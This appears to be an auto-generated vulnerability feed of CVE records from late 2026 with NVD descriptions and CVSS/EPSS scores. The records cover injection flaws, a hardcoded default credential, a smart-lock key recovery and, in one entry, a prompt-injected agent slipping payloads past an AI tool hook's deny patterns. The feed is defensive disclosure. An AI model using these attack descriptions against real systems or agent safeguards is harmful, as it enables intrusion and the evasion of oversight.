NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114720&date=2026-10-25
Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 is affected by an IMAP command injection vulnerability. A remote authenticated attacker can exploit this via CRLF sequences injected into the _flag parameter of the mail/mark action to execute arbitrary IMAP commands. Upstream fixed this in the commit “Fix IMAP command injection via CRLF in `_flag` parameter of mail/mark action”, which rejects flags containing control, whitespace and IMAP-special characters.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 is affected by a mail header injection vulnerability.
https://kevwire.com/record/CVE-2026-114716
Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 is affected by a mail header injection vulnerability. (Oct 22, 2026).
Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 is affected by a mail header injection vulnerability. rcmail_sendmail::extract_inline_images() used the media type taken from an inline image data URI without validating it, so a remote authenticated attacker could inject arbitrary MIME part headers into the outgoing message by placing CRLF sequences in that media type. Upstream fixed this in the commit “Fix mail header injection via media type in an inline image data URI”, which validates the media type with rcube_mime::is_mimetype_valid().
CVSS 8.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114716).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114716&date=2026-10-25).
Sources:
NVD CVE-2026-114716: https://nvd.nist.gov/vuln/detail/CVE-2026-114716
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114716&date=2026-10-25
Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 is affected by a mail header injection vulnerability. rcmail_sendmail::extract_inline_images() used the media type taken from an inline image data URI without validating it, so a remote authenticated attacker could inject arbitrary MIME part headers into the outgoing message by placing CRLF sequences in that media type. Upstream fixed this in the commit “Fix mail header injection via media type in an inline image data URI”, which validates the media type with rcube_mime::is_mimetype_valid().

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### TTLock Android application before v9.8.260718 and associated smart-lock firmware contain a hardcoded static AES key vulnerability that allows an attacker within Bluetooth range to...
https://kevwire.com/record/CVE-2026-112345
TTLock Android application before v9.8.260718 and associated smart-lock firmware contain a hardcoded static AES key vulnerability that allows an attacker within Bluetooth range to... (Oct 26, 2026).
TTLock Android application before v9.8.260718 and associated smart-lock firmware contain a hardcoded static AES key vulnerability that allows an attacker within Bluetooth range to decrypt the per-pairing session key transmitted during BLE pairing. Attackers can observe the pairing exchange, recover the persistent session key using the embedded defaultKey, and forge authenticated BLE requests to unlock the device, add fingerprints or access codes, and perform administrative actions without authentication or user interaction.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112345).
Sources:
NVD CVE-2026-112345: https://nvd.nist.gov/vuln/detail/CVE-2026-112345
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
TTLock Android application before v9.8.260718 and associated smart-lock firmware contain a hardcoded static AES key vulnerability that allows an attacker within Bluetooth range to decrypt the per-pairing session key transmitted during BLE pairing. Attackers can observe the pairing exchange, recover the persistent session key using the embedded defaultKey, and forge authenticated BLE requests to unlock the device, add fingerprints or access codes, and perform administrative actions without authentication or user interaction.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### n8n before 1.123.83, 2.x before 2.41.4, and 2.42.x before 2.42.1 contains a code execution vulnerability in the Git node Log operation, which fails to strip a repository's local...
https://kevwire.com/record/CVE-2026-110845
n8n before 1.123.83, 2.x before 2.41.4, and 2.42.x before 2.42.1 contains a code execution vulnerability in the Git node Log operation, which fails to strip a repository's local... (Oct 14, 2026).
n8n before 1.123.83, 2.x before 2.41.4, and 2.42.x before 2.42.1 contains a code execution vulnerability in the Git node Log operation, which fails to strip a repository's local git configuration before invoking an external program. Authenticated members who can point the node, including as an agent tool, at a repository whose local configuration they control can execute programs as the n8n process user.
CVSS 7.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110845).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110845&date=2026-10-25).
Sources:
NVD CVE-2026-110845: https://nvd.nist.gov/vuln/detail/CVE-2026-110845
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110845&date=2026-10-25
n8n before 1.123.83, 2.x before 2.41.4, and 2.42.x before 2.42.1 contains a code execution vulnerability in the Git node Log operation, which fails to strip a repository's local git configuration before invoking an external program. Authenticated members who can point the node, including as an agent tool, at a repository whose local configuration they control can execute programs as the n8n process user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Whisper-node through 1.1.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted filePath or whisperOptions.language values...
https://kevwire.com/record/CVE-2026-110640
Whisper-node through 1.1.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted filePath or whisperOptions.language values... (Oct 14, 2026).
Whisper-node through 1.1.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted filePath or whisperOptions.language values to whisper(). Attackers can inject shell metacharacters or $() substitution into the command string built by createCppCommand() and run via shelljs exec() to execute commands with Node.js process privileges.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110640).
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110640&date=2026-10-25).
Sources:
NVD CVE-2026-110640: https://nvd.nist.gov/vuln/detail/CVE-2026-110640
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110640&date=2026-10-25
Whisper-node through 1.1.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted filePath or whisperOptions.language values to whisper(). Attackers can inject shell metacharacters or $() substitution into the command string built by createCppCommand() and run via shelljs exec() to execute commands with Node.js process privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### webp-converter before 3.0.0 contains an OS command injection vulnerability in src/webpconverter.js helpers that run libwebp binaries via execFile with shell enabled.
https://kevwire.com/record/CVE-2026-110635
webp-converter before 3.0.0 contains an OS command injection vulnerability in src/webpconverter.js helpers that run libwebp binaries via execFile with shell enabled. (Oct 14, 2026).
webp-converter before 3.0.0 contains an OS command injection vulnerability in src/webpconverter.js helpers that run libwebp binaries via execFile with shell enabled. Attackers controlling file names or option strings passed to cwebp, dwebp, gwebp, or webpmux functions can inject shell metacharacters to execute OS commands as the Node.js process.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110635).
EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110635&date=2026-10-25).
Sources:
NVD CVE-2026-110635: https://nvd.nist.gov/vuln/detail/CVE-2026-110635
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110635&date=2026-10-25
webp-converter before 3.0.0 contains an OS command injection vulnerability in src/webpconverter.js helpers that run libwebp binaries via execFile with shell enabled. Attackers controlling file names or option strings passed to cwebp, dwebp, gwebp, or webpmux functions can inject shell metacharacters to execute OS commands as the Node.js process.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Rapyd Admin from 9.0.0 before 9.20.0 contains a hard-coded credentials vulnerability that allows remote unauthenticated attackers to gain super-admin access through an...
https://kevwire.com/record/CVE-2026-109566
Rapyd Admin from 9.0.0 before 9.20.0 contains a hard-coded credentials vulnerability that allows remote unauthenticated attackers to gain super-admin access through an... (Oct 12, 2026).
Rapyd Admin from 9.0.0 before 9.20.0 contains a hard-coded credentials vulnerability that allows remote unauthenticated attackers to gain super-admin access through an AuthSeeder-created admin@laravel account with password admin. The account is seeded by the setup installer and silently re-created on every rpd:make run, letting attackers log in as a global super admin bypassing per-record authorization and tenant scoping.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109566).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109566&date=2026-10-25).
Sources:
NVD CVE-2026-109566: https://nvd.nist.gov/vuln/detail/CVE-2026-109566
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109566&date=2026-10-25
Rapyd Admin from 9.0.0 before 9.20.0 contains a hard-coded credentials vulnerability that allows remote unauthenticated attackers to gain super-admin access through an AuthSeeder-created admin@laravel account with password admin. The account is seeded by the setup installer and silently re-created on every rpd:make run, letting attackers log in as a global super admin bypassing per-record authorization and tenant scoping.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gitoxide gix-pack before 0.75.0 contains an uncontrolled memory allocation vulnerability that allows remote attackers to abort the process by supplying a huge pack-header object...
https://kevwire.com/record/CVE-2026-109351
Gitoxide gix-pack before 0.75.0 contains an uncontrolled memory allocation vulnerability that allows remote attackers to abort the process by supplying a huge pack-header object... (Oct 12, 2026).
Gitoxide gix-pack before 0.75.0 contains an uncontrolled memory allocation vulnerability that allows remote attackers to abort the process by supplying a huge pack-header object count. Malicious remotes can serve a 12-byte pack header claiming 0xFFFFFFFF objects, forcing Tree::with_capacity to reserve hundreds of gigabytes and crash clone or fetch operations.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109351).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109351&date=2026-10-25).
Sources:
NVD CVE-2026-109351: https://nvd.nist.gov/vuln/detail/CVE-2026-109351
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109351&date=2026-10-25
Gitoxide gix-pack before 0.75.0 contains an uncontrolled memory allocation vulnerability that allows remote attackers to abort the process by supplying a huge pack-header object count. Malicious remotes can serve a 12-byte pack header claiming 0xFFFFFFFF objects, forcing Tree::with_capacity to reserve hundreds of gigabytes and crash clone or fetch operations.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### better-auth from 1.3.8-beta.3 before 1.7.0-rc.3 contains a UI misrepresentation vulnerability in the deviceAuthorization plugin because GET /device omits the requesting client_id...
https://kevwire.com/record/CVE-2026-109346
better-auth from 1.3.8-beta.3 before 1.7.0-rc.3 contains a UI misrepresentation vulnerability in the deviceAuthorization plugin because GET /device omits the requesting client_id... (Oct 12, 2026).
better-auth from 1.3.8-beta.3 before 1.7.0-rc.3 contains a UI misrepresentation vulnerability in the deviceAuthorization plugin because GET /device omits the requesting client_id and scope. Attackers can start a device request via /device/code, trick signed-in users into approving the code, then redeem it at /device/token for a live session token.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109346).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109346&date=2026-10-25).
Sources:
NVD CVE-2026-109346: https://nvd.nist.gov/vuln/detail/CVE-2026-109346
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109346&date=2026-10-25
better-auth from 1.3.8-beta.3 before 1.7.0-rc.3 contains a UI misrepresentation vulnerability in the deviceAuthorization plugin because GET /device omits the requesting client_id and scope. Attackers can start a device request via /device/code, trick signed-in users into approving the code, then redeem it at /device/token for a live session token.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SurrealDB before 3.3.0 contains an authorization bypass vulnerability that allows callers with table-level write permission to read SELECT-restricted fields by resolving JSON...
https://kevwire.com/record/CVE-2026-109341
SurrealDB before 3.3.0 contains an authorization bypass vulnerability that allows callers with table-level write permission to read SELECT-restricted fields by resolving JSON... (Oct 12, 2026).
SurrealDB before 3.3.0 contains an authorization bypass vulnerability that allows callers with table-level write permission to read SELECT-restricted fields by resolving JSON Patch pointers against the unreduced record. Attackers can use PATCH copy or move operations to copy hidden fields into readable destinations, or abuse test mismatch errors as a disclosure oracle.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109341).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109341&date=2026-10-25).
Sources:
NVD CVE-2026-109341: https://nvd.nist.gov/vuln/detail/CVE-2026-109341
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109341&date=2026-10-25
SurrealDB before 3.3.0 contains an authorization bypass vulnerability that allows callers with table-level write permission to read SELECT-restricted fields by resolving JSON Patch pointers against the unreduced record. Attackers can use PATCH copy or move operations to copy hidden fields into readable destinations, or abuse test mismatch errors as a disclosure oracle.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Network-AI from 5.14.0 before 5.15.2 contains a security control bypass vulnerability in the ClaudeHookBridge PreToolUse hook, which matches deny patterns only against the first...
https://kevwire.com/record/CVE-2026-109331
Network-AI from 5.14.0 before 5.15.2 contains a security control bypass vulnerability in the ClaudeHookBridge PreToolUse hook, which matches deny patterns only against the first... (Oct 12, 2026).
Network-AI from 5.14.0 before 5.15.2 contains a security control bypass vulnerability in the ClaudeHookBridge PreToolUse hook, which matches deny patterns only against the first present candidate field. A prompt-injected agent can place dangerous payloads in fields like Write content or an MCP script parameter beside a benign file_path or command, evading denyPatterns to write web shells or execute scripts.
CVSS 7.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109331).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109331&date=2026-10-25).
Sources:
NVD CVE-2026-109331: https://nvd.nist.gov/vuln/detail/CVE-2026-109331
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109331&date=2026-10-25
Network-AI from 5.14.0 before 5.15.2 contains a security control bypass vulnerability in the ClaudeHookBridge PreToolUse hook, which matches deny patterns only against the first present candidate field. A prompt-injected agent can place dangerous payloads in fields like Write content or an MCP script parameter beside a benign file_path or command, evading denyPatterns to write web shells or execute scripts.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### TDuck survey form through 6.0 contains an insecure direct object reference vulnerability that allows authenticated users to delete other users' form submissions by supplying...
https://kevwire.com/record/CVE-2026-109164
TDuck survey form through 6.0 contains an insecure direct object reference vulnerability that allows authenticated users to delete other users' form submissions by supplying... (Oct 12, 2026).
TDuck survey form through 6.0 contains an insecure direct object reference vulnerability that allows authenticated users to delete other users' form submissions by supplying arbitrary submission ids. Attackers can place their own formKey in the path and iterate sequential submission ids in the request body to permanently delete submissions platform-wide.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109164).
Sources:
NVD CVE-2026-109164: https://nvd.nist.gov/vuln/detail/CVE-2026-109164
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
TDuck survey form through 6.0 contains an insecure direct object reference vulnerability that allows authenticated users to delete other users' form submissions by supplying arbitrary submission ids. Attackers can place their own formKey in the path and iterate sequential submission ids in the request body to permanently delete submissions platform-wide.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Canimaan Software ClamXAV versions 3.3 - 3.11 contains a local privilege escalation vulnerability in the Privileged Helper Tool caused by a race condition and insufficient file...
https://kevwire.com/record/CVE-2026-105773
Canimaan Software ClamXAV versions 3.3 - 3.11 contains a local privilege escalation vulnerability in the Privileged Helper Tool caused by a race condition and insufficient file... (Oct 5, 2026).
Canimaan Software ClamXAV versions 3.3 - 3.11 contains a local privilege escalation vulnerability in the Privileged Helper Tool caused by a race condition and insufficient file validation, allowing a local attacker to execute arbitrary code with system privileges. Fixed in 3.11.1.
CVSS 7.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105773).
Sources:
NVD CVE-2026-105773: https://nvd.nist.gov/vuln/detail/CVE-2026-105773
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Canimaan Software ClamXAV versions 3.3 - 3.11 contains a local privilege escalation vulnerability in the Privileged Helper Tool caused by a race condition and insufficient file validation, allowing a local attacker to execute arbitrary code with system privileges. Fixed in 3.11.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in zhijiantianya ruoyi-vue-pro 2.4.1. Affected is an unknown function of the file /admin-api/infra/file/upload of the component Backend File Upload...
https://kevwire.com/record/CVE-2025-2708
A vulnerability was identified in zhijiantianya ruoyi-vue-pro 2.4.1. Affected is an unknown function of the file /admin-api/infra/file/upload of the component Backend File Upload... (Mar 24, 2025).
A vulnerability was identified in zhijiantianya ruoyi-vue-pro 2.4.1. Affected is an unknown function of the file /admin-api/infra/file/upload of the component Backend File Upload Interface. Such manipulation of the argument path leads to path traversal. The attack may be performed from remote. The exploit is publicly available and might be used. The name of the patch is 4ae3f6b2c9883978837638c14e3d18419819eeb0. Applying a patch is advised to resolve this issue.
CVSS 2.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-2708).
Sources:
NVD CVE-2025-2708: https://nvd.nist.gov/vuln/detail/CVE-2025-2708
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
